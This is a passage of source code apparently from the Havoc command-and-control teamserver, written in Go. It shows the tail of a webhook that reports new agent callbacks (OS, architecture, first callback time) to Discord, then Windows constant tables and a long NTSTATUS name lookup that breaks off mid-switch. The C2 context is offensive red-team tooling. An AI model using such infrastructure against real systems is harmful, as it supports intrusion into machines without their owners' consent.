field) field.Name = StringPtr("OS Version") field.Value = StringPtr(AgentInfo["OSVersion"].(string)) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("OS Arch") field.Value = StringPtr(AgentInfo["OSArch"].(string)) field.Inline = BoolPtr(true) *embed.Fields = append(*embed.Fields, field) field.Name = StringPtr("First Callback") field.Value = StringPtr(AgentInfo["FirstCallIn"].(string)) *embed.Fields = append(*embed.Fields, field) *message.Embeds = append(*message.Embeds, embed) err := json.NewEncoder(payload).Encode(message) if err != nil { return err } resp, err := http.Post(w.Discord.Url, "application/json", payload) if err != nil { return err } if resp.StatusCode != 200 && resp.StatusCode != 204 { defer resp.Body.Close() responseBody, err := io.ReadAll(resp.Body) if err != nil { return err } return fmt.Errorf(string(responseBody)) } return nil } return nil } func (w *WebHook) SetDiscord(AvatarUrl, User, Url string) { w.Discord.Avatar = AvatarUrl w.Discord.User = User w.Discord.Url = Url } havoc-0.6~git20240910.69ce17c/teamserver/pkg/win32/000077500000000000000000000000001467014221700211675ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/win32/types.go000066400000000000000000001606301467014221700226700ustar00rootroot00000000000000package win32 const ( PAGE_NOACCESS = 0x01 PAGE_READONLY = 0x02 PAGE_READWRITE = 0x04 PAGE_WRITECOPY = 0x08 PAGE_EXECUTE = 0x10 PAGE_EXECUTE_READ = 0x20 PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_WRITECOPY = 0x80 PAGE_GUARD = 0x100 ) var Protections = map[int][]string{ PAGE_NOACCESS: {"PAGE_NOACCESS", "NA"}, PAGE_READONLY: {"PAGE_READONLY", "R"}, PAGE_READWRITE: {"PAGE_READWRITE","RW"}, PAGE_WRITECOPY: {"PAGE_WRITECOPY", "WC"}, PAGE_EXECUTE: {"PAGE_EXECUTE", "X"}, PAGE_EXECUTE_READ: {"PAGE_EXECUTE_READ", "RX"}, PAGE_EXECUTE_READWRITE: {"PAGE_EXECUTE_READWRITE", "RWX"}, PAGE_EXECUTE_WRITECOPY: {"PAGE_EXECUTE_WRITECOPY", "WCX"}, PAGE_GUARD: {"PAGE_GUARD", "PG"}, } const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_DECOMMIT = 0x4000 MEM_RELEASE = 0x8000 MEM_FREE = 0x10000 MEM_PRIVATE = 0x20000 MEM_MAPPED = 0x40000 MEM_RESET = 0x80000 MEM_TOP_DOWN = 0x100000 MEM_WRITE_WATCH = 0x200000 MEM_PHYSICAL = 0x400000 MEM_ROTATE = 0x800000 ) const ( LOGON32_LOGON_INTERACTIVE = 2 LOGON32_LOGON_NETWORK = 3 LOGON32_LOGON_BATCH = 4 LOGON32_LOGON_SERVICE = 5 LOGON32_LOGON_UNLOCK = 7 LOGON32_LOGON_NETWORK_CLEARTEXT = 8 LOGON32_LOGON_NEW_CREDENTIALS = 9 ) const ( DES_CBC_CRC = 1 DES_CBC_MD4 = 2 DES_CBC_MD5 = 3 DES3_CBC_MD5 = 5 DES3_CBC_SHA1 = 7 DSAWITHSHA1_CMSOID = 9 MD5WITHRSAENCRYPTION_CMSOID = 10 SHA1WITHRSAENCRYPTION_CMSOID = 11 RC2CBC_ENVOID = 12 RSAENCRYPTION_ENVOID = 13 RSAES_OAEP_ENV_OID = 14 DES3_CBC_SHA1_KD = 16 AES128_CTS_HMAC_SHA1 = 17 AES256_CTS_HMAC_SHA1 = 18 RC4_HMAC = 23 RC4_HMAC_EXP = 24 SUBKEY_KEYMATERIAL = 65 OLD_EXP = -135 ) const ( FALSE = 0 TRUE = 1 ) func StatusToString( Status int64 ) string { switch Status { case 0x00000000: return "STATUS_SUCCESS" case 0x00000001: return "STATUS_WAIT_1" case 0x00000002: return "STATUS_WAIT_2" case 0x00000003: return "STATUS_WAIT_3" case 0x0000003F: return "STATUS_WAIT_63" case 0x00000080: return "STATUS_ABANDONED_WAIT_0" case 0x000000BF: return "STATUS_ABANDONED_WAIT_63" case 0x000000C0: return "STATUS_USER_APC" case 0x00000100: return "STATUS_KERNEL_APC" case 0x00000101: return "STATUS_ALERTED" case 0x00000102: return "STATUS_TIMEOUT" case 0x00000103: return "STATUS_PENDING" case 0x00000104: return "STATUS_REPARSE" case 0x00000105: return "STATUS_MORE_ENTRIES" case 0x00000106: return "STATUS_NOT_ALL_ASSIGNED" case 0x00000107: return "STATUS_SOME_NOT_MAPPED" case 0x00000108: return "STATUS_OPLOCK_BREAK_IN_PROGRESS" case 0x00000109: return "STATUS_VOLUME_MOUNTED" case 0x0000010A: return "STATUS_RXACT_COMMITTED" case 0x0000010B: return "STATUS_NOTIFY_CLEANUP" case 0x0000010C: return "STATUS_NOTIFY_ENUM_DIR" case 0x0000010D: return "STATUS_NO_QUOTAS_FOR_ACCOUNT" case 0x0000010E: return "STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED" case 0x00000110: return "STATUS_PAGE_FAULT_TRANSITION" case 0x00000111: return "STATUS_PAGE_FAULT_DEMAND_ZERO" case 0x00000112: return "STATUS_PAGE_FAULT_COPY_ON_WRITE" case 0x00000113: return "STATUS_PAGE_FAULT_GUARD_PAGE" case 0x00000114: return "STATUS_PAGE_FAULT_PAGING_FILE" case 0x00000115: return "STATUS_CACHE_PAGE_LOCKED" case 0x00000116: return "STATUS_CRASH_DUMP" case 0x00000117: return "STATUS_BUFFER_ALL_ZEROS" case 0x00000118: return "STATUS_REPARSE_OBJECT" case 0x00000119: return "STATUS_RESOURCE_REQUIREMENTS_CHANGED" case 0x00000120: return "STATUS_TRANSLATION_COMPLETE" case 0x00000121: return "STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY" case 0x00010001: return "DBG_EXCEPTION_HANDLED" case 0x00010002: return "DBG_CONTINUE" case 0x40000000: return "STATUS_OBJECT_NAME_EXISTS" case 0x40000001: return "STATUS_THREAD_WAS_SUSPENDED" case 0x40000002: return "STATUS_WORKING_SET_LIMIT_RANGE" case 0x40000003: return "STATUS_IMAGE_NOT_AT_BASE" case 0x40000004: return "STATUS_RXACT_STATE_CREATED" case 0x40000005: return "STATUS_SEGMENT_NOTIFICATION" case 0x40000006: return "STATUS_LOCAL_USER_SESSION_KEY" case 0x40000007: return "STATUS_BAD_CURRENT_DIRECTORY" case 0x40000008: return "STATUS_SERIAL_MORE_WRITES" case 0x40000009: return "STATUS_REGISTRY_RECOVERED" case 0x4000000A: return "STATUS_FT_READ_RECOVERY_FROM_BACKUP" case 0x4000000B: return "STATUS_FT_WRITE_RECOVERY" case 0x4000000C: return "STATUS_SERIAL_COUNTER_TIMEOUT" case 0x4000000D: return "STATUS_NULL_LM_PASSWORD" case 0x4000000E: return "STATUS_IMAGE_MACHINE_TYPE_MISMATCH" case 0x4000000F: return "STATUS_RECEIVE_PARTIAL" case 0x40000010: return "STATUS_RECEIVE_EXPEDITED" case 0x40000011: return "STATUS_RECEIVE_PARTIAL_EXPEDITED" case 0x40000012: return "STATUS_EVENT_DONE" case 0x40000013: return "STATUS_EVENT_PENDING" case 0x40000014: return "STATUS_CHECKING_FILE_SYSTEM" case 0x40000015: return "STATUS_FATAL_APP_EXIT" case 0x40000016: return "STATUS_PREDEFINED_HANDLE" case 0x40000017: return "STATUS_WAS_UNLOCKED" case 0x40000018: return "STATUS_SERVICE_NOTIFICATION" case 0x40000019: return "STATUS_WAS_LOCKED" case 0x4000001A: return "STATUS_LOG_HARD_ERROR" case 0x4000001B: return "STATUS_ALREADY_WIN32" case 0x4000001C: return "STATUS_WX86_UNSIMULATE" case 0x4000001D: return "STATUS_WX86_CONTINUE" case 0x4000001E: return "STATUS_WX86_SINGLE_STEP" case 0x4000001F: return "STATUS_WX86_BREAKPOINT" case 0x40000020: return "STATUS_WX86_EXCEPTION_CONTINUE" case 0x40000021: return "STATUS_WX86_EXCEPTION_LASTCHANCE" case 0x40000022: return "STATUS_WX86_EXCEPTION_CHAIN" case 0x40000023: return "STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE" case 0x40000024: return "STATUS_NO_YIELD_PERFORMED" case 0x40000025: return "STATUS_TIMER_RESUME_IGNORED" case 0x40000026: return "STATUS_ARBITRATION_UNHANDLED" case 0x40000027: return "STATUS_CARDBUS_NOT_SUPPORTED" case 0x40000028: return "STATUS_WX86_CREATEWX86TIB" case 0x40000029: return "STATUS_MP_PROCESSOR_MISMATCH" case 0x40010001: return "DBG_REPLY_LATER" case 0x40010002: return "DBG_UNABLE_TO_PROVIDE_HANDLE" case 0x40010003: return "DBG_TERMINATE_THREAD" case 0x40010004: return "DBG_TERMINATE_PROCESS" case 0x40010005: return "DBG_CONTROL_C" case 0x40010006: return "DBG_PRINTEXCEPTION_C" case 0x40010007: return "DBG_RIPEXCEPTION" case 0x40010008: return "DBG_CONTROL_BREAK" case 0x80000001: return "STATUS_GUARD_PAGE_VIOLATION" case 0x80000002: return "STATUS_DATATYPE_MISALIGNMENT" case 0x80000003: return "STATUS_BREAKPOINT" case 0x80000004: return "STATUS_SINGLE_STEP" case 0x80000005: return "STATUS_BUFFER_OVERFLOW" case 0x80000006: return "STATUS_NO_MORE_FILES" case 0x80000007: return "STATUS_WAKE_SYSTEM_DEBUGGER" case 0x8000000A: return "STATUS_HANDLES_CLOSED" case 0x8000000B: return "STATUS_NO_INHERITANCE" case 0x8000000C: return "STATUS_GUID_SUBSTITUTION_MADE" case 0x8000000D: return "STATUS_PARTIAL_COPY" case 0x8000000E: return "STATUS_DEVICE_PAPER_EMPTY" case 0x8000000F: return "STATUS_DEVICE_POWERED_OFF" case 0x80000010: return "STATUS_DEVICE_OFF_LINE" case 0x80000011: return "STATUS_DEVICE_BUSY" case 0x80000012: return "STATUS_NO_MORE_EAS" case 0x80000013: return "STATUS_INVALID_EA_NAME" case 0x80000014: return "STATUS_EA_LIST_INCONSISTENT" case 0x80000015: return "STATUS_INVALID_EA_FLAG" case 0x80000016: return "STATUS_VERIFY_REQUIRED" case 0x80000017: return "STATUS_EXTRANEOUS_INFORMATION" case 0x80000018: return "STATUS_RXACT_COMMIT_NECESSARY" case 0x8000001A: return "STATUS_NO_MORE_ENTRIES" case 0x8000001B: return "STATUS_FILEMARK_DETECTED" case 0x8000001C: return "STATUS_MEDIA_CHANGED" case 0x8000001D: return "STATUS_BUS_RESET" case 0x8000001E: return "STATUS_END_OF_MEDIA" case 0x8000001F: return "STATUS_BEGINNING_OF_MEDIA" case 0x80000020: return "STATUS_MEDIA_CHECK" case 0x80000021: return "STATUS_SETMARK_DETECTED" case 0x80000022: return "STATUS_NO_DATA_DETECTED" case 0x80000023: return "STATUS_REDIRECTOR_HAS_OPEN_HANDLES" case 0x80000024: return "STATUS_SERVER_HAS_OPEN_HANDLES" case 0x80000025: return "STATUS_ALREADY_DISCONNECTED" case 0x80000026: return "STATUS_LONGJUMP" case 0x80010001: return "DBG_EXCEPTION_NOT_HANDLED" case 0xC0000001: return "STATUS_UNSUCCESSFUL" case 0xC0000002: return "STATUS_NOT_IMPLEMENTED" case 0xC0000003: return "STATUS_INVALID_INFO_CLASS" case 0xC0000004: return "STATUS_INFO_LENGTH_MISMATCH" case 0xC0000005: return "STATUS_ACCESS_VIOLATION" case 0xC0000006: return "STATUS_IN_PAGE_ERROR" case 0xC0000007: return "STATUS_PAGEFILE_QUOTA" case 0xC0000008: return "STATUS_INVALID_HANDLE" case 0xC0000009: return "STATUS_BAD_INITIAL_STACK" case 0xC000000A: return "STATUS_BAD_INITIAL_PC" case 0xC000000B: return "STATUS_INVALID_CID" case 0xC000000C: return "STATUS_TIMER_NOT_CANCELED" case 0xC000000D: return "STATUS_INVALID_PARAMETER" case 0xC000000E: return "STATUS_NO_SUCH_DEVICE" case 0xC000000F: return "STATUS_NO_SUCH_FILE" case 0xC0000010: return "STATUS_INVALID_DEVICE_REQUEST" case 0xC0000011: return "STATUS_END_OF_FILE" case 0xC0000012: return "STATUS_WRONG_VOLUME" case 0xC0000013: return "STATUS_NO_MEDIA_IN_DEVICE" case 0xC0000014: return "STATUS_UNRECOGNIZED_MEDIA" case 0xC0000015: return "STATUS_NONEXISTENT_SECTOR" case 0xC0000016: return "STATUS_MORE_PROCESSING_REQUIRED" case 0xC0000017: return "STATUS_NO_MEMORY" case 0xC0000018: return "STATUS_CONFLICTING_ADDRESSES" case 0xC0000019: return "STATUS_NOT_MAPPED_VIEW" case 0xC000001A: return "STATUS_UNABLE_TO_FREE_VM" case 0xC000001B: return "STATUS_UNABLE_TO_DELETE_SECTION" case 0xC000001C: return "STATUS_INVALID_SYSTEM_SERVICE" case 0xC000001D: return "STATUS_ILLEGAL_INSTRUCTION" case 0xC000001E: return "STATUS_INVALID_LOCK_SEQUENCE" case 0xC000001F: return "STATUS_INVALID_VIEW_SIZE" case 0xC0000020: return "STATUS_INVALID_FILE_FOR_SECTION" case 0xC0000021: return "STATUS_ALREADY_COMMITTED" case 0xC0000022: return "STATUS_ACCESS_DENIED" case 0xC0000023: return "STATUS_BUFFER_TOO_SMALL" case 0xC0000024: return "STATUS_OBJECT_TYPE_MISMATCH" case 0xC0000025: return "STATUS_NONCONTINUABLE_EXCEPTION" case 0xC0000026: return "STATUS_INVALID_DISPOSITION" case 0xC0000027: return "STATUS_UNWIND" case 0xC0000028: return "STATUS_BAD_STACK" case 0xC0000029: return "STATUS_INVALID_UNWIND_TARGET" case 0xC000002A: return "STATUS_NOT_LOCKED" case 0xC000002B: return "STATUS_PARITY_ERROR" case 0xC000002C: return "STATUS_UNABLE_TO_DECOMMIT_VM" case 0xC000002D: return "STATUS_NOT_COMMITTED" case 0xC000002E: return "STATUS_INVALID_PORT_ATTRIBUTES" case 0xC000002F: return "STATUS_PORT_MESSAGE_TOO_LONG" case 0xC0000030: return "STATUS_INVALID_PARAMETER_MIX" case 0xC0000031: return "STATUS_INVALID_QUOTA_LOWER" case 0xC0000032: return "STATUS_DISK_CORRUPT_ERROR" case 0xC0000033: return "STATUS_OBJECT_NAME_INVALID" case 0xC0000034: return "STATUS_OBJECT_NAME_NOT_FOUND" case 0xC0000035: return "STATUS_OBJECT_NAME_COLLISION" case 0xC0000037: return "STATUS_PORT_DISCONNECTED" case 0xC0000038: return "STATUS_DEVICE_ALREADY_ATTACHED" case 0xC0000039: return "STATUS_OBJECT_PATH_INVALID" case 0xC000003A: return "STATUS_OBJECT_PATH_NOT_FOUND" case 0xC000003B: return "STATUS_OBJECT_PATH_SYNTAX_BAD" case 0xC000003C: return "STATUS_DATA_OVERRUN" case 0xC000003D: return "STATUS_DATA_LATE_ERROR" case 0xC000003E: return "STATUS_DATA_ERROR" case 0xC000003F: return "STATUS_CRC_ERROR" case 0xC0000040: return "STATUS_SECTION_TOO_BIG" case 0xC0000041: return "STATUS_PORT_CONNECTION_REFUSED" case 0xC0000042: return "STATUS_INVALID_PORT_HANDLE" case 0xC0000043: return "STATUS_SHARING_VIOLATION" case 0xC0000044: return "STATUS_QUOTA_EXCEEDED" case 0xC0000045: return "STATUS_INVALID_PAGE_PROTECTION" case 0xC0000046: return "STATUS_MUTANT_NOT_OWNED" case 0xC0000047: return "STATUS_SEMAPHORE_LIMIT_EXCEEDED" case 0xC0000048: return "STATUS_PORT_ALREADY_SET" case 0xC0000049: return "STATUS_SECTION_NOT_IMAGE" case 0xC000004A: return "STATUS_SUSPEND_COUNT_EXCEEDED" case 0xC000004B: return "STATUS_THREAD_IS_TERMINATING" case 0xC000004C: return "STATUS_BAD_WORKING_SET_LIMIT" case 0xC000004D: return "STATUS_INCOMPATIBLE_FILE_MAP" case 0xC000004E: return "STATUS_SECTION_PROTECTION" case 0xC000004F: return "STATUS_EAS_NOT_SUPPORTED" case 0xC0000050: return "STATUS_EA_TOO_LARGE" case 0xC0000051: return "STATUS_NONEXISTENT_EA_ENTRY" case 0xC0000052: return "STATUS_NO_EAS_ON_FILE" case 0xC0000053: return "STATUS_EA_CORRUPT_ERROR" case 0xC0000054: return "STATUS_FILE_LOCK_CONFLICT" case 0xC0000055: return "STATUS_LOCK_NOT_GRANTED" case 0xC0000056: return "STATUS_DELETE_PENDING" case 0xC0000057: return "STATUS_CTL_FILE_NOT_SUPPORTED" case 0xC0000058: return "STATUS_UNKNOWN_REVISION" case 0xC0000059: return "STATUS_REVISION_MISMATCH" case 0xC000005A: return "STATUS_INVALID_OWNER" case 0xC000005B: return "STATUS_INVALID_PRIMARY_GROUP" case 0xC000005C: return "STATUS_NO_IMPERSONATION_TOKEN" case 0xC000005D: return "STATUS_CANT_DISABLE_MANDATORY" case 0xC000005E: return "STATUS_NO_LOGON_SERVERS" case 0xC000005F: return "STATUS_NO_SUCH_LOGON_SESSION" case 0xC0000060: return "STATUS_NO_SUCH_PRIVILEGE" case 0xC0000061: return "STATUS_PRIVILEGE_NOT_HELD" case 0xC0000062: return "STATUS_INVALID_ACCOUNT_NAME" case 0xC0000063: return "STATUS_USER_EXISTS" case 0xC0000064: return "STATUS_NO_SUCH_USER" case 0xC0000065: return "STATUS_GROUP_EXISTS" case 0xC0000066: return "STATUS_NO_SUCH_GROUP" case 0xC0000067: return "STATUS_MEMBER_IN_GROUP" case 0xC0000068: return "STATUS_MEMBER_NOT_IN_GROUP" case 0xC0000069: return "STATUS_LAST_ADMIN" case 0xC000006A: return "STATUS_WRONG_PASSWORD" case 0xC000006B: return "STATUS_ILL_FORMED_PASSWORD" case 0xC000006C: return "STATUS_PASSWORD_RESTRICTION" case 0xC000006D: return "STATUS_LOGON_FAILURE" case 0xC000006E: return "STATUS_ACCOUNT_RESTRICTION" case 0xC000006F: return "STATUS_INVALID_LOGON_HOURS" case 0xC0000070: return "STATUS_INVALID_WORKSTATION" case 0xC0000071: return "STATUS_PASSWORD_EXPIRED" case 0xC0000072: return "STATUS_ACCOUNT_DISABLED" case 0xC0000073: return "STATUS_NONE_MAPPED" case 0xC0000074: return "STATUS_TOO_MANY_LUIDS_REQUESTED" case 0xC0000075: return "STATUS_LUIDS_EXHAUSTED" case 0xC0000076: return "STATUS_INVALID_SUB_AUTHORITY" case 0xC0000077: return "STATUS_INVALID_ACL" case 0xC0000078: return "STATUS_INVALID_SID" case 0xC0000079: return "STATUS_INVALID_SECURITY_DESCR" case 0xC000007A: return "STATUS_PROCEDURE_NOT_FOUND" case 0xC000007B: return "STATUS_INVALID_IMAGE_FORMAT" case 0xC000007C: return "STATUS_NO_TOKEN" case 0xC000007D: return "STATUS_BAD_INHERITANCE_ACL" case 0xC000007E: return "STATUS_RANGE_NOT_LOCKED" case 0xC000007F: return "STATUS_DISK_FULL" case 0xC0000080: return "STATUS_SERVER_DISABLED" case 0xC0000081: return "STATUS_SERVER_NOT_DISABLED" case 0xC0000082: return "STATUS_TOO_MANY_GUIDS_REQUESTED" case 0xC0000083: return "STATUS_GUIDS_EXHAUSTED" case 0xC0000084: return "STATUS_INVALID_ID_AUTHORITY" case 0xC0000085: return "STATUS_AGENTS_EXHAUSTED" case 0xC0000086: return "STATUS_INVALID_VOLUME_LABEL" case 0xC0000087: return "STATUS_SECTION_NOT_EXTENDED" case 0xC0000088: return "STATUS_NOT_MAPPED_DATA" case 0xC0000089: return "STATUS_RESOURCE_DATA_NOT_FOUND" case 0xC000008A: return "STATUS_RESOURCE_TYPE_NOT_FOUND" case 0xC000008B: return "STATUS_RESOURCE_NAME_NOT_FOUND" case 0xC000008C: return "STATUS_ARRAY_BOUNDS_EXCEEDED" case 0xC000008D: return "STATUS_FLOAT_DENORMAL_OPERAND" case 0xC000008E: return "STATUS_FLOAT_DIVIDE_BY_ZERO" case 0xC000008F: return "STATUS_FLOAT_INEXACT_RESULT" case 0xC0000090: return "STATUS_FLOAT_INVALID_OPERATION" case 0xC0000091: return "STATUS_FLOAT_OVERFLOW" case 0xC0000092: return "STATUS_FLOAT_STACK_CHECK" case 0xC0000093: return "STATUS_FLOAT_UNDERFLOW" case 0xC0000094: return "STATUS_INTEGER_DIVIDE_BY_ZERO" case 0xC0000095: return "STATUS_INTEGER_OVERFLOW" case 0xC0000096: return "STATUS_PRIVILEGED_INSTRUCTION" case 0xC0000097: return "STATUS_TOO_MANY_PAGING_FILES" case 0xC0000098: return "STATUS_FILE_INVALID" case 0xC0000099: return "STATUS_ALLOTTED_SPACE_EXCEEDED" case 0xC000009A: return "STATUS_INSUFFICIENT_RESOURCES" case 0xC000009B: return "STATUS_DFS_EXIT_PATH_FOUND" case 0xC000009C: return "STATUS_DEVICE_DATA_ERROR" case 0xC000009D: return "STATUS_DEVICE_NOT_CONNECTED" case 0xC000009E: return "STATUS_DEVICE_POWER_FAILURE" case 0xC000009F: return "STATUS_FREE_VM_NOT_AT_BASE" case 0xC00000A0: return "STATUS_MEMORY_NOT_ALLOCATED" case 0xC00000A1: return "STATUS_WORKING_SET_QUOTA" case 0xC00000A2: return "STATUS_MEDIA_WRITE_PROTECTED" case 0xC00000A3: return "STATUS_DEVICE_NOT_READY" case 0xC00000A4: return "STATUS_INVALID_GROUP_ATTRIBUTES" case 0xC00000A5: return "STATUS_BAD_IMPERSONATION_LEVEL" case 0xC00000A6: return "STATUS_CANT_OPEN_ANONYMOUS" case 0xC00000A7: return "STATUS_BAD_VALIDATION_CLASS" case 0xC00000A8: return "STATUS_BAD_TOKEN_TYPE" case 0xC00000A9: return "STATUS_BAD_MASTER_BOOT_RECORD" case 0xC00000AA: return "STATUS_INSTRUCTION_MISALIGNMENT" case 0xC00000AB: return "STATUS_INSTANCE_NOT_AVAILABLE" case 0xC00000AC: return "STATUS_PIPE_NOT_AVAILABLE" case 0xC00000AD: return "STATUS_INVALID_PIPE_STATE" case 0xC00000AE: return "STATUS_PIPE_BUSY" case 0xC00000AF: return "STATUS_ILLEGAL_FUNCTION" case 0xC00000B0: return "STATUS_PIPE_DISCONNECTED" case 0xC00000B1: return "STATUS_PIPE_CLOSING" case 0xC00000B2: return "STATUS_PIPE_CONNECTED" case 0xC00000B3: return "STATUS_PIPE_LISTENING" case 0xC00000B4: return "STATUS_INVALID_READ_MODE" case 0xC00000B5: return "STATUS_IO_TIMEOUT" case 0xC00000B6: return "STATUS_FILE_FORCED_CLOSED" case 0xC00000B7: return "STATUS_PROFILING_NOT_STARTED" case 0xC00000B8: return "STATUS_PROFILING_NOT_STOPPED" case 0xC00000B9: return "STATUS_COULD_NOT_INTERPRET" case 0xC00000BA: return "STATUS_FILE_IS_A_DIRECTORY" case 0xC00000BB: return "STATUS_NOT_SUPPORTED" case 0xC00000BC: return "STATUS_REMOTE_NOT_LISTENING" case 0xC00000BD: return "STATUS_DUPLICATE_NAME" case 0xC00000BE: return "STATUS_BAD_NETWORK_PATH" case 0xC00000BF: return "STATUS_NETWORK_BUSY" case 0xC00000C0: return "STATUS_DEVICE_DOES_NOT_EXIST" case 0xC00000C1: return "STATUS_TOO_MANY_COMMANDS" case 0xC00000C2: return "STATUS_ADAPTER_HARDWARE_ERROR" case 0xC00000C3: return "STATUS_INVALID_NETWORK_RESPONSE" case 0xC00000C4: return "STATUS_UNEXPECTED_NETWORK_ERROR" case 0xC00000C5: return "STATUS_BAD_REMOTE_ADAPTER" case 0xC00000C6: return "STATUS_PRINT_QUEUE_FULL" case 0xC00000C7: return "STATUS_NO_SPOOL_SPACE" case 0xC00000C8: return "STATUS_PRINT_CANCELLED" case 0xC00000C9: return "STATUS_NETWORK_NAME_DELETED" case 0xC00000CA: return "STATUS_NETWORK_ACCESS_DENIED" case 0xC00000CB: return "STATUS_BAD_DEVICE_TYPE" case 0xC00000CC: return "STATUS_BAD_NETWORK_NAME" case 0xC00000CD: return "STATUS_TOO_MANY_NAMES" case 0xC00000CE: return "STATUS_TOO_MANY_SESSIONS" case 0xC00000CF: return "STATUS_SHARING_PAUSED" case 0xC00000D0: return "STATUS_REQUEST_NOT_ACCEPTED" case 0xC00000D1: return "STATUS_REDIRECTOR_PAUSED" case 0xC00000D2: return "STATUS_NET_WRITE_FAULT" case 0xC00000D3: return "STATUS_PROFILING_AT_LIMIT" case 0xC00000D4: return "STATUS_NOT_SAME_DEVICE" case 0xC00000D5: return "STATUS_FILE_RENAMED" case 0xC00000D6: return "STATUS_VIRTUAL_CIRCUIT_CLOSED" case 0xC00000D7: return "STATUS_NO_SECURITY_ON_OBJECT" case 0xC00000D8: return "STATUS_CANT_WAIT" case 0xC00000D9: return "STATUS_PIPE_EMPTY" case 0xC00000DA: return "STATUS_CANT_ACCESS_DOMAIN_INFO" case 0xC00000DB: return "STATUS_CANT_TERMINATE_SELF" case 0xC00000DC: return "STATUS_INVALID_SERVER_STATE" case 0xC00000DD: return "STATUS_INVALID_DOMAIN_STATE" case 0xC00000DE: return "STATUS_INVALID_DOMAIN_ROLE" case 0xC00000DF: return "STATUS_NO_SUCH_DOMAIN" case 0xC00000E0: return "STATUS_DOMAIN_EXISTS" case 0xC00000E1: return "STATUS_DOMAIN_LIMIT_EXCEEDED" case 0xC00000E2: return "STATUS_OPLOCK_NOT_GRANTED" case 0xC00000E3: return "STATUS_INVALID_OPLOCK_PROTOCOL" case 0xC00000E4: return "STATUS_INTERNAL_DB_CORRUPTION" case 0xC00000E5: return "STATUS_INTERNAL_ERROR" case 0xC00000E6: return "STATUS_GENERIC_NOT_MAPPED" case 0xC00000E7: return "STATUS_BAD_DESCRIPTOR_FORMAT" case 0xC00000E8: return "STATUS_INVALID_USER_BUFFER" case 0xC00000E9: return "STATUS_UNEXPECTED_IO_ERROR" case 0xC00000EA: return "STATUS_UNEXPECTED_MM_CREATE_ERR" case 0xC00000EB: return "STATUS_UNEXPECTED_MM_MAP_ERROR" case 0xC00000EC: return "STATUS_UNEXPECTED_MM_EXTEND_ERR" case 0xC00000ED: return "STATUS_NOT_LOGON_PROCESS" case 0xC00000EE: return "STATUS_LOGON_SESSION_EXISTS" case 0xC00000EF: return "STATUS_INVALID_PARAMETER_1" case 0xC00000F0: return "STATUS_INVALID_PARAMETER_2" case 0xC00000F1: return "STATUS_INVALID_PARAMETER_3" case 0xC00000F2: return "STATUS_INVALID_PARAMETER_4" case 0xC00000F3: return "STATUS_INVALID_PARAMETER_5" case 0xC00000F4: return "STATUS_INVALID_PARAMETER_6" case 0xC00000F5: return "STATUS_INVALID_PARAMETER_7" case 0xC00000F6: return "STATUS_INVALID_PARAMETER_8" case 0xC00000F7: return "STATUS_INVALID_PARAMETER_9" case 0xC00000F8: return "STATUS_INVALID_PARAMETER_10" case 0xC00000F9: return "STATUS_INVALID_PARAMETER_11" case 0xC00000FA: return "STATUS_INVALID_PARAMETER_12" case 0xC00000FB: return "STATUS_REDIRECTOR_NOT_STARTED" case 0xC00000FC: return "STATUS_REDIRECTOR_STARTED" case 0xC00000FD: return "STATUS_STACK_OVERFLOW" case 0xC00000FE: return "STATUS_NO_SUCH_PACKAGE" case 0xC00000FF: return "STATUS_BAD_FUNCTION_TABLE" case 0xC0000100: return "STATUS_VARIABLE_NOT_FOUND" case 0xC0000101: return "STATUS_DIRECTORY_NOT_EMPTY" case 0xC0000102: return "STATUS_FILE_CORRUPT_ERROR" case 0xC0000103: return "STATUS_NOT_A_DIRECTORY" case 0xC0000104: return "STATUS_BAD_LOGON_SESSION_STATE" case 0xC0000105: return "STATUS_LOGON_SESSION_COLLISION" case 0xC0000106: return "STATUS_NAME_TOO_LONG" case 0xC0000107: return "STATUS_FILES_OPEN" case 0xC0000108: return "STATUS_CONNECTION_IN_USE" case 0xC0000109: return "STATUS_MESSAGE_NOT_FOUND" case 0xC000010A: return "STATUS_PROCESS_IS_TERMINATING" case 0xC000010B: return "STATUS_INVALID_LOGON_TYPE" case 0xC000010C: return "STATUS_NO_GUID_TRANSLATION" case 0xC000010D: return "STATUS_CANNOT_IMPERSONATE" case 0xC000010E: return "STATUS_IMAGE_ALREADY_LOADED" case 0xC000010F: return "STATUS_ABIOS_NOT_PRESENT" case 0xC0000110: return "STATUS_ABIOS_LID_NOT_EXIST" case 0xC0000111: return "STATUS_ABIOS_LID_ALREADY_OWNED" case 0xC0000112: return "STATUS_ABIOS_NOT_LID_OWNER" case 0xC0000113: return "STATUS_ABIOS_INVALID_COMMAND" case 0xC0000114: return "STATUS_ABIOS_INVALID_LID" case 0xC0000115: return "STATUS_ABIOS_SELECTOR_NOT_AVAILABLE" case 0xC0000116: return "STATUS_ABIOS_INVALID_SELECTOR" case 0xC0000117: return "STATUS_NO_LDT" case 0xC0000118: return "STATUS_INVALID_LDT_SIZE" case 0xC0000119: return "STATUS_INVALID_LDT_OFFSET" case 0xC000011A: return "STATUS_INVALID_LDT_DESCRIPTOR" case 0xC000011B: return "STATUS_INVALID_IMAGE_NE_FORMAT" case 0xC000011C: return "STATUS_RXACT_INVALID_STATE" case 0xC000011D: return "STATUS_RXACT_COMMIT_FAILURE" case 0xC000011E: return "STATUS_MAPPED_FILE_SIZE_ZERO" case 0xC000011F: return "STATUS_TOO_MANY_OPENED_FILES" case 0xC0000120: return "STATUS_CANCELLED" case 0xC0000121: return "STATUS_CANNOT_DELETE" case 0xC0000122: return "STATUS_INVALID_COMPUTER_NAME" case 0xC0000123: return "STATUS_FILE_DELETED" case 0xC0000124: return "STATUS_SPECIAL_ACCOUNT" case 0xC0000125: return "STATUS_SPECIAL_GROUP" case 0xC0000126: return "STATUS_SPECIAL_USER" case 0xC0000127: return "STATUS_MEMBERS_PRIMARY_GROUP" case 0xC0000128: return "STATUS_FILE_CLOSED" case 0xC0000129: return "STATUS_TOO_MANY_THREADS" case 0xC000012A: return "STATUS_THREAD_NOT_IN_PROCESS" case 0xC000012B: return "STATUS_TOKEN_ALREADY_IN_USE" case 0xC000012C: return "STATUS_PAGEFILE_QUOTA_EXCEEDED" case 0xC000012D: return "STATUS_COMMITMENT_LIMIT" case 0xC000012E: return "STATUS_INVALID_IMAGE_LE_FORMAT" case 0xC000012F: return 